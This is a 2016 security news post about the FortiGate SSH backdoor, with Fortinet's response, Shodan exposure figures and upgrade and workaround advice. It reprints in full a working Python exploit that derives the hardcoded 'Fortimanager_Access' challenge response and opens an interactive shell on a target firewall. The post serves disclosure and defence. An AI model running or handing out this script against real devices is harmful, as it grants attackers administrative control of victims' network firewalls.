Do you remember that less than a month ago Juniper Networks was in the limelight for its backdoor in ScreenOS software? A lot of speculation was done on the case and probably the NSA was involved at some point 🙂 .
On Saturday 9th January 2016 an anonymous user sent the following email to the Full Disclosure mailing list:
SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
From: <operator8203 () runbox com>
Date: Sat, 09 Jan 2016 14:48:01 -0500 (EST)
#!/usr/bin/env python # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7 # Usage: ./fgt_ssh_backdoor.py <target-ip> import socket import select import sys import paramiko from paramiko.py3compat import u import base64 import hashlib import termios import tty def custom_handler(title, instructions, prompt_list): n = prompt_list[0][0] m = hashlib.sha1() m.update('\x00' * 12) m.update(n + 'FGTAbc11*xy+Qqz27') m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) return [h] def main(): if len(sys.argv) < 2: print 'Usage: ' + sys.argv[0] + ' <target-ip>' exit(-1) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler) chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\n*** EOF\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) if __name__ == '__main__': main()
The above Python script allows to interact  with the hardware firewall via SSH using username “Fortimanager_Access” and a dynamically generated password (a hashed version of the “FGTAbc11*xy+Qqz27” password string). Both username and passwords are hardcoded in the FortiGate firmware.
Someone tried to verify the vulnerability and apparently it works:
Heavily redacted (at sources request) screenshot of the #Fortinet #Fortigate #backdoor functioning. pic.twitter.com/hT5bWNe8eW
— Dr David D. Davidson (@dailydavedavids) 12th January 2016
According to the anonymous poster and a few other security researchers, Dr David D. Davidson included, this can be considered a real backdoor at the end of the day, even if FortiNet has another opinion on the case.
THE FORTINET RESPONSE
Fortinet published an article in which it claims that the aforementioned thing represented a vulnerability indeed but it wasn’t intended as a “backdoor”, but rather a “management authentication issue”. Apparently the SSH user was created for challenge-and-response authentication routine for logging into Fortinet’s servers with the secure shell (SSH) protocol. (A SSH user with administrative access).
Even if Fortinet was “innocent”, that wasn’t surely a good idea. A poor implementation based on security through obscurity that eventually was made public and could have been already used in the wild.
To say the truth this isn’t a 0day but rather an olday, like it was defined by someone 🙂 Fortinet says that the vulnerability made public is related to CVE-2014-2216 and a newer version that addressed the vulnerability was released without informing the end users of the “issue”.
HOW MANY DEVICES ARE POTENTIALLY AFFECTED?
A quick search on Shodan shows the following:
TOP COUNTRIES

Top countries
TOP SERVICES

Top services
TOP ORGANIZATIONS

Top organizations
TOP DOMAINS

Top domains
HOW TO FIX THE VULNERABILITY
If you are using FortiOS branch 4.3 upgrade to FortiOS 4.3.17 or later.
In case you are using FortiOS branch 5.0 upgrade to FortiOS 5.0.8 or later.
Workarounds:
* Disable admin access via SSH on all interfaces, and use the Web GUI instead, or the console applet of the GUI for CLI access.
* If SSH access is mandatory, in 5.0 one can restrict access to SSH to a minimal set of authorized IP addresses, via the Local In policies.
Author: Fabio Baroni   Date: 2016-01-13 12:36:56